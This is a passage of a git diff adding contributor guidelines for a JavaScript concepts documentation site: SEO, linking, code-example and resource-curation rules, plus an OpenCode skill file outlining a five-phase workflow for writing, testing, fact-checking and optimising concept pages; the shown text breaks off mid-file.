+single-threaded nature. You see, JavaScript can only do one thing at a time,
+and this creates some interesting challenges. The way JavaScript handles
+this is through something called... the event loop.
+
+
+## What is the Event Loop?
+
+The **event loop** is JavaScript's mechanism for executing code, handling events,
+and managing asynchronous operations. It continuously monitors the call stack
+and task queue, moving queued callbacks to the stack when it's empty — this is
+how JavaScript handles async code despite being single-threaded.
+```
+
+**Question-Format H2 Headings:**
+
+Use H2s that match how people search:
+
+| Search Query | H2 to Use |
+|--------------|-----------|
+| "what is the DOM" | `## What is the DOM?` |
+| "how closures work" | `## How Do Closures Work?` |
+| "why use promises" | `## Why Use Promises?` |
+| "when to use async await" | `## When Should You Use async/await?` |
+
+---
+
+### Featured Snippet Optimization
+
+Featured snippets appear at **position zero** — above all organic results. Structure your content to win them.
+
+**Snippet Types and How to Win Them:**
+
+```
+┌─────────────────────────────────────────────────────────────────────────┐
+│ FEATURED SNIPPET TYPES │
+├─────────────────────────────────────────────────────────────────────────┤
+│ │
+│ QUERY TYPE SNIPPET FORMAT YOUR CONTENT STRUCTURE │
+│ ─────────── ────────────── ───────────────────────── │
+│ │
+│ "What is X" Paragraph 40-60 word definition │
+│ immediately after H2 │
+│ │
+│ "How to X" Numbered list component or │
+│ numbered Markdown list │
+│ │
+│ "X vs Y" Table Comparison table with │
+│ clear column headers │
+│ │
+│ "Types of X" Bulleted list Bullet list under │
+│ descriptive H2 │
+│ │
+│ "[X] examples" Bulleted list or Code examples with │
+│ code block brief explanations │
+│ │
+└─────────────────────────────────────────────────────────────────────────┘
+```
+
+**Pattern 1: Definition Snippet (40-60 words)**
+
+For "what is [concept]" queries:
+
+```mdx
+## What is a Closure in JavaScript?
+
+A **closure** is a function that retains access to variables from its outer
+(enclosing) scope, even after that outer function has finished executing.
+Closures are created every time a function is created in JavaScript, allowing
+inner functions to "remember" and access their lexical environment.
+```
+
+**Why this wins:**
+- H2 matches search query exactly
+- Bold keyword in first sentence
+- 40-60 word complete definition
+- Explains the "why" not just the "what"
+
+**Pattern 2: List Snippet (Steps)**
+
+For "how to [action]" queries:
+
+```mdx
+## How to Make a Fetch Request in JavaScript
+
+
+
+ The `fetch()` function takes a URL and returns a Promise that resolves to a Response object.
+
+
+
+ Always verify `response.ok` before processing — fetch doesn't throw on HTTP errors.
+
+
+
+ Use `response.json()` for JSON data, `response.text()` for plain text.
+
+
+
+ Wrap everything in try/catch to handle both network and HTTP errors.
+
+
+```
+
+**Pattern 3: Table Snippet (Comparison)**
+
+For "[X] vs [Y]" queries:
+
+```mdx
+## == vs === in JavaScript
+
+| Aspect | `==` (Loose Equality) | `===` (Strict Equality) |
+|--------|----------------------|------------------------|
+| Type coercion | Yes — converts types before comparing | No — types must match |
+| Speed | Slower (coercion overhead) | Faster (no coercion) |
+| Predictability | Can produce surprising results | Always predictable |
+| Recommendation | Avoid in most cases | Use by default |
+
+```javascript
+// Examples
+5 == "5" // true (string coerced to number)
+5 === "5" // false (different types)
+```
+```
+
+**Pattern 4: List Snippet (Types/Categories)**
+
+For "types of [concept]" queries:
+
+```mdx
+## Types of Scope in JavaScript
+
+JavaScript has three types of scope that determine where variables are accessible:
+
+- **Global Scope** — Variables declared outside any function or block; accessible everywhere
+- **Function Scope** — Variables declared inside a function with `var`; accessible only within that function
+- **Block Scope** — Variables declared with `let` or `const` inside `{}`; accessible only within that block
+```
+
+---
+
+### Content Structure for SEO
+
+How you structure content affects both rankings and user experience.
+
+**The Inverted Pyramid:**
+
+Put the most important information first. Search engines and users both prefer content that answers questions immediately.
+
+```
+┌─────────────────────────────────────────────────────────────────────────┐
+│ THE INVERTED PYRAMID │
+├─────────────────────────────────────────────────────────────────────────┤
+│ │
+│ │
+│ ┌─────────────────────────────────────┐ │
+│ │ ANSWER THE QUESTION │ ← First 100 words │
+│ │ Definition + Core Concept │ (most important) │
+│ └──────────────────┬──────────────────┘ │
+│ │ │
+│ ┌────────────────┴────────────────┐ │
+│ │ EXPLAIN HOW IT WORKS │ ← Next 300 words │
+│ │ Mechanism + Visual Diagram │ (supporting info) │
+│ └────────────────┬─────────────────┘ │
+│ │ │
+│ ┌──────────────────┴──────────────────┐ │
+│ │ SHOW PRACTICAL EXAMPLES │ ← Code examples │
+│ │ Code + Step-by-step │ (proof it works) │
+│ └──────────────────┬──────────────────┘ │
+│ │ │
+│ ┌──────────────────────┴──────────────────────┐ │
+│ │ COVER EDGE CASES │ ← Advanced │
+│ │ Common mistakes, gotchas │ (depth) │
+│ └──────────────────────┬──────────────────────┘ │
+│ │ │
+│ ┌──────────────────────────┴──────────────────────────┐ │
+│ │ ADDITIONAL RESOURCES │ ← External │
+│ │ Related concepts, articles, videos │ (links) │
+│ └──────────────────────────────────────────────────────┘ │
+│ │
+└─────────────────────────────────────────────────────────────────────────┘
+```
+
+**Scannable Content Patterns:**
+
+Google favors content that's easy to scan. Use these elements:
+
+| Element | SEO Benefit | When to Use |
+|---------|-------------|-------------|
+| Short paragraphs | Reduces bounce rate | Always (2-4 sentences max) |
+| Bullet lists | Often become featured snippets | Lists of 3+ items |
+| Numbered lists | "How to" snippet potential | Sequential steps |
+| Tables | High snippet potential | Comparisons, reference data |
+| Bold text | Highlights keywords for crawlers | First mention of key terms |
+| Headings (H2/H3) | Structure signals to Google | Every major topic shift |
+
+**Content Length Guidelines:**
+
+| Length | Assessment | Action |
+|--------|------------|--------|
+| Under 1,000 words | Too thin | Add more depth, examples, edge cases |
+| 1,000-1,500 words | Minimum viable | Acceptable for simple concepts |
+| 1,500-2,500 words | Good | Standard for most concept pages |
+| 2,500-4,000 words | Excellent | Ideal for comprehensive guides |
+| Over 4,000 words | Evaluate | Consider splitting into multiple pages |
+
+**Note:** Length alone doesn't guarantee rankings. Every section must add value — don't pad content.
+
+---
+
+### Internal Linking for SEO
+
+Internal links help search engines understand your site structure and distribute page authority.
+
+**Topic Cluster Strategy:**
+
+Think of concept pages as an interconnected network. Every concept should link to 3-5 related concepts:
+
+```
+ ┌─────────────────┐
+ ┌───────│ Promises │───────┐
+ │ └────────┬────────┘ │
+ │ │ │
+ ▼ ▼ ▼
+ ┌───────────┐ ┌───────────────┐ ┌─────────────┐
+ │async/await│◄──►│ Event Loop │◄──►│ Callbacks │
+ └───────────┘ └───────────────┘ └─────────────┘
+ │ │ │
+ │ ▼ │
+ │ ┌───────────────┐ │
+ └──────►│ Call Stack │◄───────┘
+ └───────────────┘
+```
+
+**Link Placement Guidelines:**
+
+1. **In Prerequisites (Warning box):**
+```mdx
+
+**Prerequisite:** This guide assumes you understand [Promises](/concepts/promises) and the [Event Loop](/concepts/event-loop). Read those first if you're not comfortable with asynchronous JavaScript.
+
+```
+
+2. **In Body Content (natural context):**
+```mdx
+When the callback finishes, it's added to the task queue — which is managed by the [event loop](/concepts/event-loop).
+```
+
+3. **In Related Concepts Section:**
+```mdx
+
+
+ async/await is built on top of Promises
+
+
+ How JavaScript manages async operations
+
+
+```
+
+**Anchor Text Best Practices:**
+
+| ❌ Bad Anchor Text | ✓ Good Anchor Text | Why |
+|-------------------|-------------------|-----|
+| "click here" | "event loop guide" | Descriptive, includes keyword |
+| "this article" | "our Promises concept" | Tells Google what page is about |
+| "here" | "JavaScript closures" | Keywords in anchor text |
+| "read more" | "understanding the call stack" | Natural, informative |
+
+---
+
+### URL and Slug Best Practices
+
+URLs (slugs) are a minor but meaningful ranking factor.
+
+**Rules:**
+1. **Use lowercase** — `closures` not `Closures`
+2. **Use hyphens** — `call-stack` not `call_stack` or `callstack`
+3. **Keep it short** — aim for 3-5 words maximum
+4. **Include primary keyword** — the concept name
+5. **Avoid stop words** — skip "the", "and", "in", "of" unless necessary
+
+**Slug Examples:**
+
+| Concept | ❌ Avoid | ✓ Use |
+|---------|---------|-------|
+| The Event Loop | `the-event-loop` | `event-loop` |
+| this, call, apply and bind | `this-call-apply-and-bind` | `this-call-apply-bind` |
+| Scope and Closures | `scope-and-closures` | `scope-and-closures` (acceptable) or `scope-closures` |
+| DOM and Layout Trees | `dom-and-layout-trees` | `dom` or `dom-layout-trees` |
+
+**Note:** For this project, slugs are already set. When creating new pages, follow these conventions.
+
+---
+
+### Opening Paragraph: The SEO Power Move
+
+The opening paragraph is prime SEO real estate. It should:
+1. Hook the reader with a question they're asking
+2. Include the primary keyword naturally
+3. Provide a brief definition or answer
+4. Set up what they'll learn
+
+**Template:**
+
+```mdx
+[Question hook that matches search intent?] [Maybe another question?]
+
+The **[Primary Keyword]** is [brief definition that answers "what is X"].
+[One sentence explaining why it matters or what it enables].
+
+```javascript
+// Immediately show a simple example
+```
+
+[Brief transition to "What you'll learn" box]
+```
+
+**Example (Closures):**
+
+```mdx
+Why do some functions seem to "remember" variables that should have disappeared?
+How can a callback still access variables from a function that finished running
+long ago?
+
+The answer is **closures** — one of JavaScript's most powerful (and often
+misunderstood) features. A closure is a function that retains access to its
+outer scope's variables, even after that outer scope has finished executing.
+
+```javascript
+function createCounter() {
+ let count = 0 // This variable is "enclosed" by the returned function
+ return function() {
+ count++
+ return count
+ }
+}
+
+const counter = createCounter()
+console.log(counter()) // 1
+console.log(counter()) // 2 — it remembers!
+```
+
+Understanding closures unlocks patterns like private variables, factory functions,
+and the module pattern that power modern JavaScript.
+```
+
+**Why this works for SEO:**
+- Question hooks match how people search ("why do functions remember")
+- Bold keyword in first paragraph
+- Direct definition answers "what is a closure"
+- Code example demonstrates immediately
+- Natural setup for learning objectives
+
+---
+
+## Inline Linking Rules (Critical!)
+
+### Always Link to MDN
+
+Whenever you introduce a new Web API, method, object, or JavaScript concept, **link to MDN immediately**. This gives readers a path to deeper learning.
+
+```mdx
+
+The **[Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)** is JavaScript's modern way to make network requests.
+
+The **[Response](https://developer.mozilla.org/en-US/docs/Web/API/Response)** object contains everything about the server's reply.
+
+Most modern APIs return data in **[JSON](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON)** format.
+
+
+The Fetch API is JavaScript's modern way to make network requests.
+```
+
+### Link to Related Concept Pages
+
+When mentioning concepts covered in other pages, link to them:
+
+```mdx
+
+If you're not familiar with it, check out our [async/await concept](/concepts/async-await) first.
+
+This guide assumes you understand [Promises](/concepts/promises).
+
+
+If you're not familiar with async/await, you should learn that first.
+```
+
+### Common MDN Link Patterns
+
+| Concept | MDN URL Pattern |
+|---------|-----------------|
+| Web APIs | `https://developer.mozilla.org/en-US/docs/Web/API/{APIName}` |
+| JavaScript Objects | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/{Object}` |
+| HTTP | `https://developer.mozilla.org/en-US/docs/Web/HTTP` |
+| HTTP Methods | `https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/{METHOD}` |
+| HTTP Headers | `https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers` |
+
+---
+
+## Code Examples Best Practices
+
+### 1. Start with the Simplest Possible Example
+
+```javascript
+// ✓ GOOD: Start with the absolute basics
+// This is how you fetch data in JavaScript
+const response = await fetch('https://api.example.com/users/1')
+const user = await response.json()
+console.log(user.name) // "Alice"
+```
+
+### 2. Use Step-by-Step Comments
+
+```javascript
+// Step 1: fetch() returns a Promise that resolves to a Response object
+const responsePromise = fetch('https://api.example.com/users')
+
+// Step 2: When the response arrives, we get a Response object
+responsePromise.then(response => {
+ console.log(response.status) // 200
+
+ // Step 3: The body is a stream, we need to parse it
+ return response.json()
+})
+.then(data => {
+ // Step 4: Now we have the actual data
+ console.log(data)
+})
+```
+
+### 3. Show Output in Comments
+
+```javascript
+const greeting = "Hello"
+console.log(typeof greeting) // "string"
+
+const numbers = [1, 2, 3]
+console.log(numbers.length) // 3
+```
+
+### 4. Use ❌ and ✓ for Wrong/Correct Patterns
+
+```javascript
+// ❌ WRONG - This misses HTTP errors!
+try {
+ const response = await fetch('/api/users/999')
+ const data = await response.json()
+} catch (error) {
+ // Only catches NETWORK errors, not 404s!
+}
+
+// ✓ CORRECT - Check response.ok
+try {
+ const response = await fetch('/api/users/999')
+
+ if (!response.ok) {
+ throw new Error(`HTTP error! Status: ${response.status}`)
+ }
+
+ const data = await response.json()
+} catch (error) {
+ // Now catches both network AND HTTP errors
+}
+```
+
+### 5. Use Meaningful Variable Names
+
+```javascript
+// ❌ BAD
+const x = [1, 2, 3]
+const y = x.map(z => z * 2)
+
+// ✓ GOOD
+const numbers = [1, 2, 3]
+const doubled = numbers.map(num => num * 2)
+```
+
+### 6. Progress from Simple to Complex
+
+```javascript
+// Level 1: Basic usage
+fetch('/api/users')
+
+// Level 2: With options
+fetch('/api/users', {
+ method: 'POST',
+ body: JSON.stringify({ name: 'Alice' })
+})
+
+// Level 3: Full real-world pattern
+async function createUser(userData) {
+ const response = await fetch('/api/users', {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify(userData)
+ })
+
+ if (!response.ok) {
+ throw new Error(`Failed to create user: ${response.status}`)
+ }
+
+ return response.json()
+}
+```
+
+---
+
+## Resource Curation Guidelines
+
+External resources (articles, videos) are valuable, but must meet quality standards.
+
+### Quality Standards
+
+Only include resources that are:
+
+1. **JavaScript-focused** — No resources primarily about other languages (C#, Python, Java, etc.), even if the concepts are similar
+2. **Still accessible** — Verify all links work before publishing
+3. **High quality** — From reputable sources (MDN, javascript.info, freeCodeCamp, well-known educators)
+4. **Up to date** — Avoid outdated resources; check publication dates for time-sensitive topics
+5. **Accurate** — Skim the content to verify it doesn't teach anti-patterns
+
+### Writing Resource Descriptions
+
+Each resource needs a **specific, engaging 2-sentence description** explaining what makes it unique. Generic descriptions waste the reader's time.
+
+```mdx
+
+
+ Learn about Promises in JavaScript.
+
+
+
+
+ A comprehensive guide to async/await.
+
+
+
+
+ The go-to reference for async/await fundamentals. Includes exercises at the end to test your understanding of rewriting promise chains.
+
+
+
+
+ Animated GIFs showing the call stack, microtask queue, and event loop in action. This is how async/await finally "clicked" for thousands of developers.
+
+
+
+
+ The pizza-and-drinks ordering example makes parallel vs sequential execution crystal clear. Essential reading once you know the basics.
+
+```
+
+**Description Formula:**
+1. **Sentence 1:** What makes this resource unique OR what it specifically covers
+2. **Sentence 2:** Why a reader should click (what they'll gain, who it's best for, what stands out)
+
+**Avoid in descriptions:**
+- "Comprehensive guide to..." (vague)
+- "Great tutorial on..." (vague)
+- "Learn all about..." (vague)
+- "Everything you need to know about..." (cliché)
+
+### Recommended Sources
+
+**Articles (Prioritize):**
+
+| Source | Why |
+|--------|-----|
+| javascript.info | Comprehensive, well-maintained, exercises included |
+| MDN Web Docs | Official reference, always accurate |
+| freeCodeCamp | Beginner-friendly, practical tutorials |
+| dev.to (Lydia Hallie, etc.) | Visual explanations, community favorites |
+| CSS-Tricks | DOM, browser APIs, visual topics |
+
+**Videos (Prioritize):**
+
+| Creator | Style |
+|---------|-------|
+| Web Dev Simplified | Clear, beginner-friendly, concise |
+| Fireship | Fast-paced, modern, entertaining |
+| Traversy Media | Comprehensive crash courses |
+| Fun Fun Function | Deep-dives with personality |
+| Wes Bos | Practical, real-world focused |
+
+**Avoid:**
+- Resources in other programming languages (C#, Python, Java) even if concepts overlap
+- Outdated tutorials (pre-ES6 syntax for modern concepts)
+- Paywalled content (unless there's a free tier)
+- Low-quality Medium articles (check engagement and accuracy)
+- Resources that teach anti-patterns
+- Videos over 2 hours (link to specific timestamps if valuable)
+
+### Verifying Resources
+
+Before including any resource:
+
+1. **Click the link** — Verify it loads and isn't behind a paywall
+2. **Skim the content** — Ensure it's accurate and well-written
+3. **Check the date** — For time-sensitive topics, prefer recent content
+4. **Read comments/reactions** — Community feedback reveals quality issues
+5. **Test code examples** — If they include code, verify it works
+
+---
+
+## ASCII Art Diagrams
+
+Use ASCII art to visualize concepts. Make them boxed and labeled:
+
+```
+┌─────────────────────────────────────────────────────────────────────────┐
+│ THE REQUEST-RESPONSE CYCLE │
+├─────────────────────────────────────────────────────────────────────────┤
+│ │
+│ YOU (Browser) KITCHEN (Server) │
+│ ┌──────────┐ ┌──────────────┐ │
+│ │ │ ──── "I'd like pasta" ────► │ │ │
+│ │ :) │ (REQUEST) │ [chef] │ │
+│ │ │ │ │ │
+│ │ │ ◄──── Here you go! ──────── │ │ │
+│ │ │ (RESPONSE) │ │ │
+│ └──────────┘ └──────────────┘ │
+│ │
+│ The waiter (HTTP) is the protocol that makes this exchange work! │
+│ │
+└─────────────────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## Mintlify Components Reference
+
+| Component | When to Use |
+|-----------|-------------|
+| `` | "What you'll learn" boxes, Key Takeaways |
+| `` | Common mistakes, gotchas, prerequisites |
+| `` | Pro tips, rules of thumb, best practices |
+| `` | Additional context, side notes |
+| `` | Expandable content, Q&A sections, optional deep-dives |
+| `` | Comparing different approaches side-by-side |
+| `` | Sequential processes, numbered workflows |
+| `` | Resource links (articles, videos, references) |
+| `` | Individual resource with icon and link |
+
+### Card Icons Reference
+
+| Content Type | Icon |
+|--------------|------|
+| MDN/Official Docs | `book` |
+| Articles/Blog Posts | `newspaper` |
+| Videos | `video` |
+| Courses | `graduation-cap` |
+| Related Concepts | Context-appropriate (`handshake`, `hourglass`, `arrows-spin`, `sitemap`, etc.) |
+
+---
+
+## Quality Checklist
+
+Before finalizing a concept page, verify ALL of these:
+
+### Structure
+- [ ] Opens with engaging questions that hook the reader
+- [ ] Shows a simple code example immediately after the opening
+- [ ] Has "What you'll learn" Info box right after the opening
+- [ ] Major sections are separated by `---` horizontal rules
+- [ ] Has a real-world analogy with ASCII art diagram
+- [ ] Has a "Common Mistakes" or "The #1 Mistake" section
+- [ ] Has a "Key Takeaways" section summarizing 8-10 points
+- [ ] Has a "Test Your Knowledge" section with 5-6 Q&As
+- [ ] Ends with Related Concepts, Reference, Articles, Videos in that order
+
+### Linking
+- [ ] All new Web APIs/methods have inline MDN links on first mention
+- [ ] All related concepts link to their concept pages (`/concepts/slug`)
+- [ ] Reference section has multiple MDN links
+- [ ] 4-6 quality articles with descriptions
+- [ ] 3-4 quality videos with descriptions
+
+### Code Examples
+- [ ] First code example is dead simple
+- [ ] Uses step-by-step comments for complex examples
+- [ ] Shows output in comments (`// "result"`)
+- [ ] Uses ❌ and ✓ for wrong/correct patterns
+- [ ] Uses meaningful variable names
+- [ ] Progresses from simple to complex
+
+### Content Quality
+- [ ] Written for someone who might be new to coding
+- [ ] Prerequisites are noted with Warning component
+- [ ] No assumptions about prior knowledge without links
+- [ ] Tables used for quick reference information
+- [ ] ASCII diagrams for visual concepts
+
+### Language Quality
+- [ ] Description starts with "Learn" or "Understand" (not "Master")
+- [ ] No overuse of em dashes (fewer than 15 outside Key Takeaways and structured sections)
+- [ ] No AI superlatives: "dramatically", "fundamentally", "incredibly", "extremely"
+- [ ] No stiff phrases: "one of the most important", "essential points", "It should be noted"
+- [ ] Emphasis patterns vary (not all "Key insight:" or "Best practice:")
+- [ ] Playful touches are sparse (1-2 per major section maximum)
+- [ ] No filler words: "basically", "essentially", "actually", "very", "really"
+- [ ] Sentences are direct (no "In order to", "Due to the fact that")
+
+### Resource Quality
+- [ ] All article/video links are verified working
+- [ ] All resources are JavaScript-focused (no C#, Python, Java resources)
+- [ ] Each resource has a specific 2-sentence description (not generic)
+- [ ] Resource descriptions explain what makes each unique
+- [ ] No outdated resources (check dates for time-sensitive topics)
+- [ ] 4-6 articles from reputable sources
+- [ ] 3-4 videos from quality creators
+
+---
+
+## Writing Tests
+
+When adding code examples, create corresponding tests in `/tests/`:
+
+```javascript
+// tests/{category}/{concept-name}/{concept-name}.test.js
+import { describe, it, expect } from 'vitest'
+
+describe('Concept Name', () => {
+ describe('Basic Examples', () => {
+ it('should demonstrate the core concept', () => {
+ // Convert console.log examples to expect assertions
+ expect(typeof "hello").toBe("string")
+ })
+ })
+
+ describe('Common Mistakes', () => {
+ it('should show the wrong behavior', () => {
+ // Test the "wrong" example to prove it's actually wrong
+ })
+
+ it('should show the correct behavior', () => {
+ // Test the "correct" example
+ })
+ })
+})
+```
+
+---
+
+## SEO Checklist
+
+Verify these elements before publishing any concept page:
+
+### Title & Meta Description
+- [ ] **Title is 50-60 characters** — check with character counter
+- [ ] **Title ends with "in JavaScript"** — SEO keyword at end
+- [ ] **Title has a compelling hook** — tells reader what they'll understand
+- [ ] **sidebarTitle matches title but without "in JavaScript"** — cleaner navigation
+- [ ] **Description is 150-160 characters** — don't leave value on the table
+- [ ] **Description includes primary keyword** in first sentence
+- [ ] **Description includes 1-2 secondary keywords** naturally
+- [ ] **Description starts with action word** (Learn, Understand, Discover — avoid "Master")
+- [ ] **Description promises specific value** — what will they learn?
+
+### Keyword Placement
+- [ ] **Primary keyword in title**
+- [ ] **Primary keyword in description**
+- [ ] **Primary keyword in first paragraph** (within first 100 words)
+- [ ] **Primary keyword in at least one H2 heading**
+- [ ] **Secondary keywords in H2/H3 headings** where natural
+- [ ] **Keywords in "What you'll learn" box items**
+- [ ] **No keyword stuffing** — content reads naturally
+
+### Content Structure
+- [ ] **Opens with question hook** matching search intent
+- [ ] **Shows code example in first 200 words**
+- [ ] **First paragraph after H2s directly answers** the implied question
+- [ ] **Content is 1,500+ words** (comprehensive coverage)
+- [ ] **Short paragraphs** (2-4 sentences maximum)
+- [ ] **Uses bullet lists** for 3+ related items
+- [ ] **Uses numbered lists** for sequential processes
+- [ ] **Uses tables** for comparisons and reference data
+- [ ] **Key terms bolded** on first mention with MDN links
+
+### Featured Snippet Optimization
+- [ ] **"What is X" section has 40-60 word definition paragraph**
+- [ ] **"How to" sections use numbered steps or `` component**
+- [ ] **Comparison sections use tables** with clear headers
+- [ ] **At least one H2 is phrased as a question** matching search query
+
+### Internal Linking
+- [ ] **Links to 3-5 related concept pages** in body content
+- [ ] **Uses descriptive anchor text** (not "click here" or "here")
+- [ ] **Prerequisites linked in Warning component** at start
+- [ ] **Related Concepts section has 4 cards** with relevant concepts
+- [ ] **Links appear in natural context** — not forced
+
+### Technical SEO
+- [ ] **Slug is lowercase with hyphens**
+- [ ] **Slug contains primary keyword**
+- [ ] **Slug is 3-5 words maximum**
+- [ ] **All external links use proper URLs** (no broken links)
+- [ ] **MDN links are current** (check they resolve)
diff --git a/.gitignore b/.gitignore
index 0cc13e70..39ecea19 100644
--- a/.gitignore
+++ b/.gitignore
@@ -62,6 +62,3 @@ typings/
# webstore IDE created directory
.idea
-
-# OpenCode configuration (local only)
-.opencode/
diff --git a/.opencode/skill/concept-workflow/SKILL.md b/.opencode/skill/concept-workflow/SKILL.md
new file mode 100644
index 00000000..0bcaf450
--- /dev/null
+++ b/.opencode/skill/concept-workflow/SKILL.md
@@ -0,0 +1,513 @@
+---
+name: concept-workflow
+description: End-to-end workflow for creating complete JavaScript concept documentation, orchestrating all skills from research to final review
+---
+
+# Skill: Complete Concept Workflow
+
+Use this skill to create a complete, high-quality concept page from start to finish. This skill orchestrates all five specialized skills in the optimal order:
+
+1. **Resource Curation** — Find quality learning resources
+2. **Concept Writing** — Write the documentation page
+3. **Test Writing** — Create tests for code examples
+4. **Fact Checking** — Verify technical accuracy
+5. **SEO Review** — Optimize for search visibility
+
+## When to Use
+
+- Creating a brand new concept page from scratch
+- Completely rewriting an existing concept page
+- When you want a full end-to-end workflow with all quality checks
+
+**For partial tasks, use individual skills instead:**
+- Just adding resources? Use `resource-curator`
+- Just writing content? Use `write-concept`
+- Just adding tests? Use `test-writer`
+- Just verifying accuracy? Use `fact-check`
+- Just optimizing SEO? Use `seo-review`
+
+---
+
+## Workflow Overview
+
+```
+┌─────────────────────────────────────────────────────────────────────────────┐
+│ COMPLETE CONCEPT WORKFLOW │
+├─────────────────────────────────────────────────────────────────────────────┤
+│ │
+│ INPUT: Concept name (e.g., "hoisting", "event-loop", "promises") │
+│ │
+│ ┌──────────────────┐ │
+│ │ PHASE 1: RESEARCH │ │
+│ │ resource-curator │ Find MDN refs, articles, videos │
+│ └────────┬─────────┘ │
+│ ▼ │
+│ ┌──────────────────┐ │
+│ │ PHASE 2: WRITE │ │
+│ │ write-concept │ Create the documentation page │
+│ └────────┬─────────┘ │
+│ ▼ │
+│ ┌──────────────────┐ │
+│ │ PHASE 3: TEST │ │
+│ │ test-writer │ Generate tests for all code examples │
+│ └────────┬─────────┘ │
+│ ▼ │
+│ ┌──────────────────┐ │
+│ │ PHASE 4: VERIFY │ │
+│ │ fact-check │ Verify accuracy, run tests, check links │
+│ └────────┬─────────┘ │
+│ ▼ │
+│ ┌──────────────────┐ │
+│ │ PHASE 5: OPTIMIZE│ │
+│ │ seo-review │ SEO audit and final optimizations │
+│ └────────┬─────────┘ │
+│ ▼ │
+│ OUTPUT: Complete, tested, verified, SEO-optimized concept page │
+│ │
+└─────────────────────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## Phase 1: Resource Curation
+
+**Skill:** `resource-curator`
+**Goal:** Gather high-quality external resources before writing
+
+### What to Do
+
+1. **Identify the concept category** (fundamentals, async, OOP, etc.)
+2. **Search for MDN references** — Official documentation
+3. **Find quality articles** — Target 4-6 from trusted sources
+4. **Find quality videos** — Target 3-4 from trusted creators
+5. **Evaluate each resource** — Check quality criteria
+6. **Write specific descriptions** — 2 sentences each
+7. **Format as Card components** — Ready to paste into the page
+
+### Deliverables
+
+- List of 2-4 MDN/reference links with descriptions
+- List of 4-6 article links with descriptions
+- List of 3-4 video links with descriptions
+- Optional: 1-2 courses or books
+
+### Quality Gates
+
+Before moving to Phase 2:
+- [ ] All links verified working (200 response)
+- [ ] All resources are JavaScript-focused
+- [ ] Descriptions are specific, not generic
+- [ ] Mix of beginner and advanced content
+
+---
+
+## Phase 2: Concept Writing
+
+**Skill:** `write-concept`
+**Goal:** Create the full documentation page
+
+### What to Do
+
+1. **Determine the category** for file organization
+2. **Create the frontmatter** (title, sidebarTitle, description)
+3. **Write the opening hook** — Question that draws readers in
+4. **Add opening code example** — Simple example in first 200 words
+5. **Write "What you'll learn" box** — 5-7 bullet points
+6. **Write main content sections:**
+ - What is [concept]? (with 40-60 word definition for featured snippet)
+ - Real-world analogy
+ - How it works (with diagrams)
+ - Code examples (multiple, progressive complexity)
+ - Common mistakes
+ - Edge cases
+7. **Add Key Takeaways** — 8-10 numbered points
+8. **Add Test Your Knowledge** — 5-6 Q&A accordions
+9. **Add Related Concepts** — 4 Cards linking to related topics
+10. **Add Resources** — Paste resources from Phase 1
+
+### Deliverables
+
+- Complete `.mdx` file at `/docs/concepts/{concept-name}.mdx`
+- File added to `docs.json` navigation (if new)
+
+### Quality Gates
+
+Before moving to Phase 3:
+- [ ] Frontmatter complete (title, sidebarTitle, description)
+- [ ] Opens with question hook
+- [ ] Code example in first 200 words
+- [ ] "What you'll learn" Info box present
+- [ ] All required sections present
+- [ ] Resources section complete
+- [ ] 1,500+ words
+
+---
+
+## Phase 3: Test Writing
+
+**Skill:** `test-writer`
+**Goal:** Create comprehensive tests for all code examples
+
+### What to Do
+
+1. **Scan the concept page** for all code examples
+2. **Categorize examples:**
+ - Testable (console.log, return values)
+ - DOM-specific (needs jsdom)
+ - Error examples (toThrow)
+ - Conceptual (skip)
+3. **Create test file** at `tests/{category}/{concept}/{concept}.test.js`
+4. **Create DOM test file** (if needed) at `tests/{category}/{concept}/{concept}.dom.test.js`
+5. **Write tests** for each code example with source line references
+6. **Run tests** to verify all pass
+
+### Deliverables
+
+- Test file: `tests/{category}/{concept-name}/{concept-name}.test.js`
+- DOM test file (if applicable): `tests/{category}/{concept-name}/{concept-name}.dom.test.js`
+- All tests passing
+
+### Quality Gates
+
+Before moving to Phase 4:
+- [ ] All testable code examples have tests
+- [ ] Source line references in comments
+- [ ] Tests pass: `npm test -- tests/{category}/{concept}/`
+- [ ] DOM tests in separate file with jsdom directive
+
+---
+
+## Phase 4: Fact Checking
+
+**Skill:** `fact-check`
+**Goal:** Verify technical accuracy of all content
+
+### What to Do
+
+1. **Verify code examples:**
+ - Run tests: `npm test -- tests/{category}/{concept}/`
+ - Check any untested examples manually
+ - Verify output comments match actual outputs
+
+2. **Verify MDN/spec claims:**
+ - Click all MDN links — verify they work
+ - Compare API descriptions to MDN
+ - Check ECMAScript spec for nuanced claims
+
+3. **Verify external resources:**
+ - Check all article/video links work
+ - Skim content for accuracy
+ - Verify descriptions match content
+
+4. **Audit technical claims:**
+ - Look for "always/never" statements
+ - Verify performance claims
+ - Check for common misconceptions
+
+5. **Generate fact-check report**
+
+### Deliverables
+
+- Fact-check report documenting:
+ - Code verification results
+ - Link check results
+ - Any issues found and fixes made
+
+### Quality Gates
+
+Before moving to Phase 5:
+- [ ] All tests passing
+- [ ] All MDN links valid
+- [ ] All external resources accessible
+- [ ] No technical inaccuracies found
+- [ ] No common misconceptions
+
+---
+
+## Phase 5: SEO Review
+
+**Skill:** `seo-review`
+**Goal:** Optimize for search visibility
+
+### What to Do
+
+1. **Audit title tag:**
+ - 50-60 characters
+ - Primary keyword in first half
+ - Ends with "in JavaScript"
+ - Contains compelling hook
+
+2. **Audit meta description:**
+ - 150-160 characters
+ - Starts with action word (Learn, Understand, Discover)
+ - Contains primary keyword
+ - Promises specific value
+
+3. **Audit keyword placement:**
+ - Keyword in title
+ - Keyword in description
+ - Keyword in first 100 words
+ - Keyword in at least one H2
+
+4. **Audit content structure:**
+ - Question hook opening
+ - Code in first 200 words
+ - "What you'll learn" box
+ - Short paragraphs
+
+5. **Audit featured snippet optimization:**
+ - 40-60 word definition after "What is" H2
+ - Question-format H2s
+ - Numbered steps for how-to content
+
+6. **Audit internal linking:**
+ - 3-5 related concepts linked
+ - Descriptive anchor text
+ - Related Concepts section complete
+
+7. **Calculate score** and fix any issues
+
+### Deliverables
+
+- SEO audit report with score (X/27)
+- All high-priority fixes implemented
+
+### Quality Gates
+
+Before marking complete:
